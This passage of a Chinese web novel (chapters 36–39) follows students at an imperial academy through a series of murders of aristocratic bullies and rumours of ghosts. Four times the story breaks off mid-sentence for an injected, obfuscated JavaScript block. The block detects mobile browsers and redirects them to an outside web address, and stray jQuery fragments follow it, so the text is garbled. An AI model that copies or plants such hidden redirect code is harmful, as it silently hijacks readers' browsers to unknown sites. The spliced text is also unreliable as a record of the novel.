学子们哪里还坐得住,早有好奇的学子走到门口偷偷探看,还不时向内给其他学子汇报情况。
虞砚就是其中一个。只听他回传消息,“是京兆府的人要带走祁青阳!”
众学子的目光霎时间都集中到了祁青阳身上。
祁青阳低着头,神色难辨。
“冯祭酒也来了!正在跟京兆府的人对峙。”虞砚又继续报道。
祁青阳缓缓起身,在所有学子的注视中走出了课室。
裴逍几人担心,起身跟了出去。
学子们见有人带头,按捺不住好奇心,纷纷跟了出来,拥到课室门口。
“冯大人,我等奉府尹之命,前来带学子祁青阳到府查案问询。还请冯大人行个方便。”
官差见冯祭酒亲自来了,行了礼恭敬道。
冯祭酒客气回道,“京兆府尹掌京中治安,按理我等自当配合,只是不知为何要带走我院学子?”
官差道,“定国公世子被人谋害,贵院学子祁青阳是目前最大嫌凶,故要带其到府衙查问审讯。”
康王看向那官差,问道,“京兆府可有证据指认学子祁青阳是嫌凶?”
官差一时语塞,他们也并无证据,只是窦家给府尹施加了巨大压力,又称窦世子之死与国子监
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800024|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学子祁青阳必脱不了干系,把人抓来拷问便知。他们只得奉命来抓人,一般百姓被带走,也不敢过多质问,但是这国子监里想带走学生,却是阻拦重重。尤其现在祭酒冯大人和康王殿下都出面了,看来这次人是很难带回去了。
冯祭酒轻咳了两声,说道,“看来京兆府尹对窦世子遇害一案,怀疑嫌犯是我院学生祁青阳,尚无证据。既然如此,那各位京兆府同僚可在我院中询问该生案情,院中上下师生皆会配合。”言下之意,是不许他们将人带走。
官差见此,也只好借坡下驴,“如此,谢过冯大人。我等即刻回府报给府尹大人。”官差们带不走祁青阳,先行撤回了。
看热闹的学子们见此,赶紧溜回了课室。姜飒也拉了裴逍赶紧回去坐到座位上。
但祁青阳却没有回来,不知去了哪里。
午后,几人在会馔堂、斋舍也都没有见到他。
·
裴逍去寻兰惜,想打听下花芷姑娘的下落。
还未进医舍,她便听到一人说,“我最喜欢你这的酒,好喝不说,还对身体好。”
随后是祝医师的声音,“好喝也得适度啊,你别又喝得烂醉,还得我送你回家去。”
裴逍走进医舍院子,见祝医师正在与一人对饮,那人裴逍也认得,是典籍楼里的一个院工。
“你找兰惜啊,她昨日风寒严重,我让她回家休息去了,没在书院里,估计要将养个几天才能回来。”祝医师道。
裴逍与祝医师不相熟,且他这里还有客人,未免横生枝节,她便没向祝医师询问花芷姑娘,告辞离去了。
·
这旬第四日一早,看守圣人祠的院工阿叶,打着哈欠开了圣人祠的大门,却见本应空着的蒲团上,竟然跪了一个人!
那人还是赤着身子跪在圣人像前!
阿叶以为自己没睡醒发癔症,使劲揉了揉眼,又拍了自己脸一巴掌,叫起来,“哎呀,疼,没做梦”。
这是什么人?为何光着身子跪在这?这可是国子监神圣重地,如此行事,怕是要受重罚!
他想着便喊道,“你谁啊,怎么进来的?”
那人一动未动。
阿叶没有收到任何回应,胸膛里顿时升起了一股怒气。
“你听到没有?!”他急往前走几步,从背后推了那人一下。
那人“嘭”地一声向前栽倒在地!唬得阿叶往后跳了一下。
见那人倒下都没有反应,阿叶有些害怕了。而且方才那声响的同时,阿叶仿佛听到身后也有什么动静。
他先是回头看了眼,见祠堂房门大开着,空无一人,方才哆哆嗦嗦地挪去正面。
“咦,这不是王公子那个纨绔吗?”他小声嘀咕道,同时,想到这人平时嚣张跋扈很是凶恶,他也不敢贸然靠近,便恭敬地叫了两声“王公子”。
那人还是没有任何回应。
“怕不是死了吧?”阿叶心想,与此同时,他颤颤巍巍地伸出手往那人鼻下探。
动作之时,他目光往下扫到了王公子的两腿之间,那地方血肉模糊的,原本应是子孙根的位置,却只有半寸的长度。
阿叶吓得一屁股坐在了地上,鼻息也不敢探了,手脚并用地往外爬,边跑边大喊,“死人啦!死人啦!”
37. 第37章
裴逍刚进到会馔堂,便听到许多学子在议论圣人祠里发现了一具尸体。
不少人匆匆用了膳就要去看。裴逍听那人死状和窦尧臣相似,本也想去看一下,但听到那尸体是赤身裸体的,还是打消了念头。
姜飒奔进会馔堂早膳都顾不上用,就要拉着裴逍去看尸体,裴逍不为所动,借口道,“去了哪还有胃口用膳,要去你去!”
“好吧。那我看了回来跟你讲!”姜飒只得自己去凑热闹。
裴逍用完早膳,走进课室,见百里摇光和夏慕卿已经在了。
“我们去圣人祠那看了尸体。”百里摇光道。
“这么快?”裴逍惊讶。
“我们拿了早膳过去看尸体的。”夏慕卿摇了摇折扇,无所谓地道。
裴逍无奈轻摇了摇头。
“死的人是王凛。”百里摇光接着道。
“王凛?”裴逍一时想不起这人是谁。
百里摇光解释道,“他是窦尧臣的跟班,就是咱们蹴鞠比赛时,总跟在窦尧臣身边的那个瘦高的,眼下老是两片黑青那人。”
这个形象裴逍想起来了,这人总是一副阴阴的样子,看起来没什么精神。裴逍险些被窦尧臣抓走那次,这个王凛也在。
她想起在会馔堂听到的消息,询问道,“死状听说和窦尧臣一样?”
“是,前后都一样,没其他伤口,应该也是因为断根而死的。”百里摇光道。
裴逍侧头看向旁边空着的位置,祁青阳这几日被停了课,留在冯祭酒安排的房间里,配合京兆府的人查问。
会是祁青阳做的吗?裴逍眉头轻蹙,思索起来。
两人死法一样,很可能是被同一凶手所杀。窦尧臣死在祁彦辰的墓前,应是与祁彦辰之死有关,而这王凛难道也是吗?
如果也是相关的,那为何这次却是在圣人祠发现的尸体?
前几日圣人祠才刚遭雷击,闹出传言来。这之间会不会有什么关联?
她正想着,只见姜飒走了进来,一手抚着胸口说道,“我的天,真吓人,上次窦尧臣的尸体没看到,只听人说。这次真真自己看了,才知道这死法好可怕啊,我想想都疼。”
裴逍将在会馔堂带的吃食递给了他。
“阿逍你太好了。”姜飒笑眯眯地接过,拿起包子吃了一口,方才看到的尸体画面钻进脑子里,他再也吃不下去了,尴尬地看着手里的吃食。
“哈哈哈哈。”百里摇光毫不留情地笑了。
姜飒尴尬地笑笑,转移话题道,“我在那边看的时候,很多人都说是圣人显灵惩罚这不肖学子。前几日圣人祠刚刚遇雷火,这王凛就跪在圣人像面前死了。而且听说那圣人祠的门每天晚上院工都会关上的,也不知道这王凛是怎么进去的。”
“现场可有凶器?”裴逍问。
“好像没有。”姜飒道。
夏慕卿托着下巴,一边思索一边道,“我在门外看到,圣人祠中王凛跪的蒲团那附近没有喷洒的血迹,不知祠里其他地方有没有,如果都没有的话,那他便是在其他地方被杀了以后挪来这里的。”
裴逍轻点了点头,心想有机会的话,可以去看看那窦尧臣的尸体现场是什么样。
·
第五日一早,姜飒黑着两个眼圈走进了课室。
一进来就被夏慕卿调侃了,“哎呀,姜公子,这是夜里头悬梁、锥刺股了,还是夜会佳人去了?怎么这副模样?”。
姜飒没好气地瞟了他一眼,叹了口气坐下,说道,“唉,早知我就该跟阿逍一样不去看那尸体,看那劳什子的尸体搞得我做了一晚上噩梦,惊醒好几回。”
“哈哈哈哈”夏慕卿和百里摇光大笑了起来。
裴逍嘴角轻轻扬起了一个弧度,眼神瞟到隔过道空着的座位,那弧度便慢慢放下去了。
夏慕卿见裴逍看那位置,便道“青阳昨日回来了一趟,拿了些用物,说他在祭酒安排的房间休息,一切都安好。”
“嗯。”裴逍点了点头。
·
午膳时,几人埋头吃饭,被旁边学子的话引去了注意力。
甲学子道:“我昨晚真是见鬼了!我半夜起夜去茅厕,抬眼看到那典籍楼上有一层亮着灯有个鬼影,吓死了!”
一个路过的学子乙听到,凑过来说,“我也看到了,我还以为是自己没睡醒眼花看错了呢,没想到竟是真的。”
甲学子:“可不是真的,好几个人都跟我说看见了,但是典籍楼夜里是不会开的,按理不会有人。而且我今日还专门去找院工问了问,他昨天入夜前也照例锁上了典籍楼的大门,那就没人能进去,但是夜里却出现了人影,你们说奇不奇怪?”
丙学子:“国子监最近是怎么了,又是天降异象,又是死人,又是鬼影的,也太晦气了!”
丁学子:“可不是,再这样下去,我都想请假回家里待着了,省得整日提心吊胆的。”
裴逍正留神听着,姜飒突然道,“阿逍,我今夜找你一起睡可以吗?”
裴逍还陷在那几个学子所说之事中,一时没反应过来。
姜飒又问了一遍。
裴逍一口米饭没咽下去噎住了,“咳咳咳”,她赶紧喝了几口汤,好些了才说道,“不行!我睡觉磨牙、说梦话、还会踢被子踢人!你最好离我远点。”
百里摇光正低着头用膳,听到裴逍所说,弯起了嘴角,不过倒是没有拆穿裴逍。
“哈哈哈哈,真的假的啊裴逍?没想到你醒着的时候安静如鸡,睡觉时反而那么热闹,哈哈哈哈,笑不行了。”夏慕卿抱着肚子大笑起来。
“阿逍”姜飒仍不死心,接着道,“比起一个人睡觉那么吓人,这些都不算什么,我能忍受。”裴逍杏眸大睁,一时不知还有什么可以拒绝的理由。
“你堂堂七尺男儿,还要和别人一起睡,你是三岁小孩嘛。”百里摇光放下筷子,看着姜飒,毫不留情地奚落道。
姜飒被百里摇光说得面皮发烫,低了头扒饭没再出声。
·
到得夜里又下起雨来,裴逍歇息时雨势越发大起来,还伴着阵阵雷声。
裴逍躺在床上一时无法入睡,便思索起这几日书院中发生的事。
窦尧臣和王凛被害,这两人又是平素常在一起为非作歹的,死法也是一样,从这死法来看应是与二人平日里欺男霸女的行径有关。正如前几日她们调查分析的,窦尧臣一行平日里祸害的人不少,这凶手的范围可不小。
从尸体发现的地方来看,窦尧臣尸体跪于祁彦辰之墓,那杀害窦尧臣的凶手应是为了给祁彦辰报仇,那这人想必是知道当年事情始末的人。
前几日他们追查线索到花芷姑娘这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800025|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便断掉了,祁青阳都没有找到当时的车夫马四,按理他对当年之事应该也还没有查到,如此想,凶手不应是他,除非是他从别的什么地方知道了当年的事情始末。
还有王凛又是为何被杀,难道也与当年之事有关?
裴逍心里想着这些,翻了个身。外面雷电一闪,透过床帐的缝隙,她看到房门上突然印出个人影来。
裴逍惊了一瞬,随即悄然起身,披起外袍,往门边探去。
那边百里摇光也发现了,两个人悄悄摸摸到门边。百里摇光做手势示意裴逍,裴逍点头。
百里摇光三二一手势结束,裴逍一抽门栓,拉开了门。
百里摇光一把拽住那人按倒在地压制住。
“啊,是我!是我!”
两人一听这声,竟是姜飒。
百里摇光一看是姜飒,都懒得理他,径直起身去床上睡了。
“大晚上的,你站我们门口做什么?”裴逍半蹲在地,无奈问道。
“唉,我太害怕了,想来找你,在门口又怕你已经睡了不敢喊你。脑子里有两个小人在打架,一个说‘太可怕了,我要找阿逍’。另一个说,‘阿逍都睡了,你怎么好意思吵醒他。’就这样,我进也不是,回也不是,正犹豫间,便被你们发现了。”姜飒仍倒在地上,衣服稀稀拉拉拢在身上,两只大眼直瞅着裴逍,一副可怜兮兮等着裴逍收留的样子。
裴逍扶住了额头。
姜飒又拿出了他的绝技撒娇大法,拽着裴逍的衣服晃悠起来,“阿逍,让我跟你们屋里睡吧。好不好?”
“我小时候在南边,身边都是仆从下人,没有亲人在身边。那些负责照顾我的家仆老是吓唬我,我从小就怕这些鬼啊魄的,尤其是下雨打雷的时候。”
“好不好,阿逍?”
裴逍本就是个心软的人,再听这厮竟还有幼年时留下的阴影,实在不忍心拒绝,便道,“那你打地铺,不下雨打雷的时候回去睡。”
“好好好”,姜飒点头如捣蒜,赶紧应道。
百里摇光素来不在意这些细末小节,见裴逍已经同意,也就不再多说,自倒下睡了。
裴逍陪姜飒回去对面斋舍,多拿了几床被褥,回来铺在了裴逍床下不远处的地面上。姜飒心满意足地钻进了被子里,侧身看着裴逍,笑得心满意足。
“快睡吧你。”裴逍一拉床帘,躺下睡了。
帘外传来几声轻笑。
·
次日裴逍醒来时,百里摇光已经不在了。姜飒趴在地上睡得香甜,枕头跑到了怀里,被子被揉成了一卷踢到了脚边。
裴逍无奈地摇摇头,这才真是睡相不好的。她随手将那被子展开覆在了姜飒身上,盥洗后去了会馔堂。
会馔堂最近几日分外热闹,学子们一边用膳,一边在讨论书院里近来发生的杀人案和诡异事件。
“昨晚典籍楼里还有灯火鬼影呢,我又看到了。”一个学子说。
“那都不算什么了,你知道今早明志湖上又发现了什么吗?”另一个学子的声音响起,随即便是周围几个学子催促他讲的声音。
“发现了什么?”
“快说快说!”
“不会又有人死了吧?”
“这回倒不是死人。”那学子道,“但是看着还挺像人!”
“那是什么东西?”
38. 第38章
“是个人偶!那人偶就穿着咱们书院的院服,头朝下飘在湖面上。乍一看,还以为是哪个学子投水了,结果捞上来一看,竟然是个人偶!”
“还有啊,那人偶胸前有鲜红的字,是句诅咒,写得是’蠹生当除’!”
裴逍举箸的手停在了半空。
“蠹生当除”这话难道是在暗指窦尧臣、王凛等人?他们享受着家族荫庇,百姓供养,却在书院中胡作非为,欺凌弱小,破坏国子监学术风气,简直如同蠹虫一般。
“这是谁故意放进去唬人的吧?”一个学子道。
“那也未必,我看哪,是圣人祠供奉的那些先哲,看不下去了出来替天行道来了。”
“嘘——你小声点......”
·
接连几日,关于书院中闹鬼的消息传得沸沸扬扬,很多学子都开始疑神疑鬼的。
因为鬼影传言的事,在典籍楼温习备考的学子少了很多,裴逍倒是乐得清静。
夏慕卿和百里摇光也没受什么影响,该做什么还做什么。
姜飒是有些疑神疑鬼,不过他一直跟在裴逍几个人身边,倒是感觉很安全。温书温得无聊了,他便观察起其他几人来。
裴逍和百里摇光都在温书。夏慕卿跟典籍楼管理院工说要去地下藏书室找本书,院工拿了钥匙,带他往地下去了。
姜飒没去过典籍楼地下藏书室,他好奇心一起,就跟着夏慕卿一道去了。
地下藏书室的门一打开,他们两人便闻到了一股奇怪的味道。
姜飒不由得皱起眉头,捏住鼻子,跟在夏慕卿后面步入了藏书室。
夏慕卿进去找书,姜飒便在里面逛起来。
他瞟到一套风俗志生了些兴趣,打算取出来看看。那书卷一拿开,一张闭着眼睛的苍白人脸突然出现在了他面前,他吓得扔掉书就往外跑,大喊“鬼啊鬼啊!”
夏慕卿听见姜飒大叫,也没再找书了,停下动作,眼神搜索着姜飒的位置,问道“发生什么了?”
只见姜飒不停地喊着“鬼啊鬼啊”,径直跑出了地下藏书室。
夏慕卿无奈,只得自己朝着姜飒跑出来的方向寻了过去。
裴逍正看着书,突然听到了姜飒的喊叫声。因为环境安静,那声音虽是隔了楼层,也能听到。她忙往发出声音的方向跑,百里摇光也紧跟着过去,正遇上冲上来的姜飒。
“阿逍,地下藏书室有鬼!”姜飒抓着裴逍的衣服,喘着气道。他的身体在颤抖,脸色苍白,脸侧已有薄汗沁出。
裴逍不能理解这人为何如此胆小,她拍了拍姜飒的肩膀,只说了声,“我去看看”,就往下去了。
百里摇光跟在裴逍身后也往下去了。
姜飒看几人都下去了,赶忙跟上百里摇光再次往下走。
典籍楼里的其他学子和院工听闻也都向地下藏书室聚集。
裴逍下到地下,按姜飒指的方向进去,先是看到了站在一旁若有所思的夏慕卿,然后便看到了一个跪趴在书架前浑身赤裸的人。
她下意识地背过身,恰对上了百里摇光刚从那边移回来的目光,两人目光对视,都有点愣怔。裴逍突然想到,这样的反应,容易让人发现她是女子的身份,便佯装是要与百里摇光后面的姜飒说话,“那明明是个赤裸的人,鬼什么鬼?”
姜飒跟在两人后面,此刻看清是个人,也不那么害怕了,反而催促前面的裴逍和百里摇光走近去看看。
裴逍无奈,只得转过去,往那边走,在心里开解自己,这也是没办法的事,权当自己是个仵作吧。
这么想着,她隐隐约约闻到了一种熟悉的气味,但一时又想不起来在哪闻到过。
那人跪趴在书架前,看不到面部,后面跟来的学子,胆子大的便去到了姜飒看到人脸的那一侧,有人认出来这人叫做赵子申。
因为前几日已经发现的两具尸体也是浑身赤裸的,很多人都猜测这人可能和之前的受害人死状一致。
夏慕卿也是如此想,他弯下腰从侧面去观察那尸体的腹下位置,随后悠悠说道,“也是被人去除了根部”。他本打算再看看这人身后,但是后面不太容易看,要细看,需要碰这人身体,他才不想接触,就转身往外走了。裴逍也趁此跟着往外走。
“赵子申颈上有像是刀割的伤痕,似乎就是致命伤。藏书室中有血迹,地面、书柜、还有那赵子申被剥落的衣服上都有,跟上次在圣人祠看到的那个有点不一样。”夏慕卿边往外走边说。
“难道这赵子申就是在这里被杀的?”裴逍猜测。
夏慕卿点了点头,“我也是这么想。”
·
典籍楼中发现尸体,很快便有官差赶来,封闭了典籍楼。裴逍他们也只好离开典籍楼回斋舍温书。
路过明志湖,他们见湖边围了一群人,便停下脚步,朝那聚集处行去。
等他们走近,却发现人群中间,赫然是一具泡得肿胀的尸体!
“我的天!怎么又一个!”姜飒大叫道。
那尸体却是衣衫齐整,与先前死的几个学子不同。
尸体颈上有一道伤痕,下身部位血红一片染透了衣衫,应也是被去了根。
“这已经是死的第三个了!”一个学子道。
“不!第四个了!”姜飒接话道,那学子想必是还不知道典籍楼里也发现了一具尸体。
“哪还有一个?”
姜飒与湖边的学子绘声绘色地讲述起来。
“方才被吓成那样的也不知道是谁。”百里摇光在一旁轻嘲道。
夏慕卿沿着湖边踱起步来,似乎在找什么。
过了一会,他高声叫,“阿摇,裴逍,来这看。”
裴逍和百里摇光走去他所在的位置,那里是石桥底下。
草丛之上染有几线血迹,地上也有不少血迹,靠近湖的一侧还有些许凌乱的踩踏过的痕迹。
“真凶应该就是在这动手,然后将人推进湖里的。”夏慕卿猜测道。“这人与典籍楼的那人都是被割喉、断根,只是这人没被剥光衣服。”
“嗯,或许是来不及动手,毕竟这里可能会有人路过看到。”百里摇光猜测道。
裴逍看着那湖,淡淡道,“也可能是为了与传言对应。”
“有道理。”夏慕卿也想到了这层,“昨日湖上飘的那人偶是穿了院服的。”
姜飒见几人在此,跑来分享他刚得知的消息。“今日这人叫钱铎,也是惯常跟着窦尧臣混的一个恶少。”
“蠹生当除。难道这就是那句话的意思吗?”百里摇光喃喃说了一句。
·
此时已接近午时,几人去了会馔堂用膳。
学子们正排着队领馔,走在前面的姜飒突然道,“咦,兰惜姑娘,你怎么在此分餐?”
兰惜看了看几人,笑着道,“会馔堂的院工今日忙不开,找我来帮衬一会。”
她将碗递给裴逍之时,裴逍低声问,“风寒好些了吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800026|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兰惜愣了一瞬,旋即笑着道,“已经大好了,不必担心。”
裴逍点点头,去到了位子上用膳。
只是兰惜时不时响起的咳嗽声,让裴逍还是忍不住多看了她几眼。
“你看上人家了?”百里摇光突然盯着裴逍说了一声。
姜飒和夏慕卿的目光瞬间集中到了裴逍脸上。
裴逍瞟了百里摇光一眼,淡淡开口,“祝医师说兰惜姑娘风寒严重,得要休养些时日。我想不通她为何不养好身体再来?”
“这么关心人家?真看上了?”百里摇光又问道。
裴逍无奈地看向百里摇光,一时不知道怎么回应。
夏慕卿晃着折扇,一脸看热闹的神情。
姜飒敲了敲碗,“看上什么啊看上,兰惜姑娘帮过阿逍,阿逍关心一下也是情理之中嘛。”随即他又看向裴逍安慰道,“兰惜姑娘的风寒可能没有祝医师说得那么严重,不用担心了。”
裴逍点了点头。
这时,夏慕卿的声音突然响了起来。“唉,唉,你怎么走路呢?”·
原来是一学子从旁边经过,撞到了夏慕卿身上。
那学子挣扎了半天,还是夏慕卿托了他一把,才站直了。只见他眼神迷离,神色有些恍惚,身体似乎也站不大稳,道了声“对不住”,晃晃悠悠地出去了。
“这人该不是喝酒了吧?”姜飒道。
夏慕卿收回目光,若有所思道,“他身上没有酒味。”
·
这一旬来,国子学里连连发生学子命案,且死的都是家世显赫子弟,整个京中的人都在关注国子学的情况。
窦尧臣的尸体因为发现在国子学外,当时京兆府还未将调查重点放在书院里,但后面接连三起案件都发生在书院之中,京兆府也将调查重点转移到了书院。
这一旬的旬假,书院中要求所有师生学子不得外出归家。不少学子开始叫苦连天,他们本想趁此假期回家中多待一段时间避避的,这下连书院门都出不得了,只能各自关系好的聚集在一处逗乐解闷。
裴逍本想旬假之时,去玉山上祁彦辰的墓地查看下窦尧臣的死亡现场,这下不便去了。
他们几人便在校场上练习蹴鞠。
今日天气晴朗和宜,校场上又开阔敞亮,很多学子都在校场上活动,这里似乎能让人摆脱那些命案和鬼神传言的阴影。
然而,这气氛没能维持多久。
“斋舍里又发现了一具尸体!”有学子跑来传消息。
校场上顿时喧闹起来。
“啊,有完没完啊!”
“这是来国子监灭门的吗?”
“那帮京兆府的人作什么吃的,怎么还没揪出凶手来?”
“看看去!”姜飒道。
其他几人也有些心不在焉,见又发现了一具尸体,便都决定要去现场看看。
他们随着人流走到了五年生斋舍的区域。
一间斋舍外,府衙的人已经拦在了斋舍门口,等着仵作来验尸。
门外聚集了许多学子伸着脖子往房内看,人群里议论纷纷。
裴逍几人挤到前面,向屋内看去,只见一个赤身学子跪趴在床边,地上有一块像是肉一样的东西。
等裴逍反应过来那是什么,赶紧低下了头,但脑子却仍在不停地转,刚才快速一瞥,似乎看到床上和地上有一些血迹。
“这人是昨日午膳时撞到我的那人,你们还记得吗?”夏慕卿突然道。
39. 第39章
几人闻声望去,那学子脸是朝向门外的,是故众人可以看到。
“还真的是!”姜飒应道,“昨日他便颠颠倒倒地不太正常,今日就死了。”
姜飒话音刚落,几人突然听到身后传来陌生低沉的男声,“哦,昨日此人有何异常啊?”
裴逍回头,见众学子已经分开两边,中间站着一行官府衙门之人。当中的一位男子身穿官服,约莫三十多岁,长得颇为俊秀。方才的声音就是来自此人。一位在侧引路的中年官员,此时介绍道,“这位是刑部侍郎姜琛,姜大人。”
姜琛?大雁塔壁上与裴晔、阮先生一同留下题名的那人。裴逍想了起来。
姜琛扫了眼门前汇集的学子,最后将目光定在姜飒身上。
“二——大人,昨日我们在会馔堂用午膳时,这学子撞到了我朋友身上,他当时迷迷糊糊的,整个人像丢了魂一样。”
姜琛对姜飒上下打量了几眼,姜飒挠挠头,嘿嘿干笑了两声。
姜琛点了点头,带着府衙的人走进了前面出事的斋舍。
“刑部也来查这案子了。”百里摇光道。
“接连五桩人命案,死的都是国子学的学生,而且不说窦尧臣,就是其他几人家族也是在京中说得上话的,现在国子学怕是已经在风口浪尖上了,姜大人想必也是奉圣上之命来查此案的。”夏慕卿回应道。
姜琛没让驱散门口聚集的人群,所以很多学子还围在这里看仵作验尸。
裴逍听到旁边有个学子嘀咕,“奇怪,沈维翰怎么会去这间斋舍呀?”
裴逍先是觉得沈维翰这名字耳熟,随即想起来,之前找祝徵学兄了解祁彦辰的事情之时,他曾提及,沈维翰是祁彦辰的舍友,曾与窦尧臣几人一道为难祁彦辰,故意将他关在斋舍门外。
夏慕卿也听到了那学子所说,此时问道,“这不是他住的斋舍吗?”
“现在不是。”那人回应。
“现在?”
“嗯,两年前,他是住这里的。但是祁彦辰自焚而死后,他也没敢住这间了。这间屋子后来一直没人住。”
裴逍指着尸体所靠的那张床问,“那张床是祁彦辰之前睡的?”
“正是!”那学子回道。周遭听到的学子顿觉寒意阵阵,唧唧喳喳地讨论起来。
裴逍心想,中间发现的三具尸体和所发现的位置,看不出与祁彦辰有关系,但是窦尧臣的死和这个沈维翰的死却是明显与祁彦辰有关的。
·
府衙官差出来询问最先发现尸身的学生,四个五年生跟着府衙的人进去了。
因为房门没关,因此裴逍几人在外面都能听到里面的声音。
只听姜琛问那四个学子,“你们怎么发现尸身的?”
其中一个学子回道,“我们是住在对面斋舍的,这两日我们隐隐地闻到一股臭味。起初没太在意,后来越来越重了,我们才发现气味好像是从这屋里传出来的,便想着去看看。但这屋子一直是空的,我们不敢单独去看,就四个人一起去看的。一打开门,就看到了这场面。”
“不敢单独进这间斋舍查看?为何?”姜琛问。
另一个学子应道,“这斋舍之前住了两个人,其中一个学子两年前自焚死了。他的舍友不敢住这里了,说这屋子闹鬼。后来一传十,十传百。没有人敢住这间,就一直空着。最近书院里频繁发生诡异事件,斋舍区也有闹鬼的传言,加上之前的事,这屋子,我们根本不敢进来。”
旁边京兆府尹向姜琛补充道,“两年前自焚而死的学子叫祁彦辰,第一桩案子受害人窦世子的尸身就是在祁彦辰的墓地发现的。”
姜琛点了点头,又问,“之前住这里的另一个学子是哪位?”
这个府尹就不清楚了,他看向前面的四个学子。
其中一人回道,“之前住这里的另一个学子就是面前死的这个人,沈维翰”。
听到这,姜琛微微皱眉,与府尹吩咐将祁彦辰案的卷宗调出来给他。
“大人,死亡时间是在两天前夜里。”仵作汇报。
那四个发现尸身的学子听到愈加害怕,“我们与这......在一个院子里睡了两晚......”
外面围观的学子听得也是纷纷吸冷气,姜飒不自觉地抓住了裴逍的衣袖。
裴逍倒没在意,只在心里琢磨,两天前,是典籍楼中的尸身和明志湖上的尸身被发现的那日。从这旬第三日窦尧臣的死讯传出,第四日圣人祠里发现王凛的尸身,第七日典籍楼里发现赵子申的尸身、明志湖上发现钱铎的尸身,当晚沈维翰被杀,凶手在短短几天便连杀了五人,为什么下手这么快?难道凶手不知,这样会很快地吸引来朝廷上下的注意,会更快地暴露吗?此时国子学中会不会还有什么地方,有尚未被发现的死者?
裴逍正想着,突然被一股大力从右侧冲挤了一下。
她还没反应过来,就被姜飒扯住衣袖,带着往前摔去。
裴逍看姜飒即将面朝台阶摔过去,面部着地不定磕到哪里,如果自己的体重再跌上去,只怕会很严重。
她瞬息间拽住姜飒手臂,借自己身体前摔之力,往右回甩姜飒。两人在空中短暂对视交错后,姜飒被甩撞在了百里摇光身上。
而裴逍背部朝下,后脑磕向台阶。
她闭眼忍耐,却没有预想中的疼痛袭来,而是感觉磕到了一个略软的东西上。
这时,她听到有人高声喊,“凶手下一个要杀的是我!大人保护我!”
裴逍陡然睁开眼,看向声音发出位置。
一个身材瘦小的学子被衙役拦着,癫狂似地冲着斋舍内喊。看来刚才就是因为这人往前冲,才导致人群涌动,有人跌倒的。
最关键的是,他怎么知道凶手还会继续杀人?而且下一个要杀的是他?
裴逍正琢磨着,身侧突然传来了夏清泽的声音,“还我鞠。”
裴逍疑惑地回头,“什么?”
夏清泽撇撇嘴,用手指了指裴逍脑袋的方向。裴逍突然反应过来,坐起身回头一看,原来方才挡住自己头磕向台阶的是一个鞠球,裴逍忍不住轻扯了嘴角,起身拿起鞠还给夏清泽,道了声谢。
“想不到你还有这本事呢。”夏慕卿轻笑道。
夏清泽接过球,傲娇地移开眼看向那癫狂学子,低哼了一声,“你们想不到的还多着呢”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800027|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
姜飒被百里摇光托住,站稳后,见夏清泽用鞠挡了下,裴逍后脑没被磕到,他方才摸摸胸脯,舒了口气,随即将裴逍拉过来,四处查看有没有哪受伤了。
裴逍忙道,“我无碍,还是看看那人怎么回事吧。”
其他几人见裴逍无事,便都看向那斋舍门口的学子。
“让他进来”。姜琛跟衙役吩咐道。
那学子一进门就跪坐在了地上,朝着姜琛和府尹大人的方向说,“两位大人,凶手下一个要杀的人是我,请两位大人派人保护我。”
学子们突然喧闹了起来,
“这庞雄是吓疯了吧!”
“他怎么知道凶手要杀他?”
“我还觉得凶手要杀我呢,我也需要人保护。”
......
京兆府尹冲着学子们的方向摆摆手,示意众人安静。
人群安静下来,只听姜琛问庞雄,“你怎么知道凶手还会杀人?”
庞雄仍旧跪坐在地,浑身颤抖,哆嗦着嘀咕,“还,还没有结束”。
“什么还没有结束?”
庞雄没有回答。
姜琛目光锐利,又问,“凶手下一个要杀的是你?”
庞雄听到这个问题,突然惊了一下,剧烈一抖,旋即道,“是是是,大人快派人保护我!”
“为何要杀你?”姜琛问。
庞雄又不回答了。
冯祭酒此时刚好赶来,看到现场情况,说道“接连发生多起命案,学子们可能受到了惊吓,才会这样。请两位大人协助加强书院防范,尽早查处真凶。”
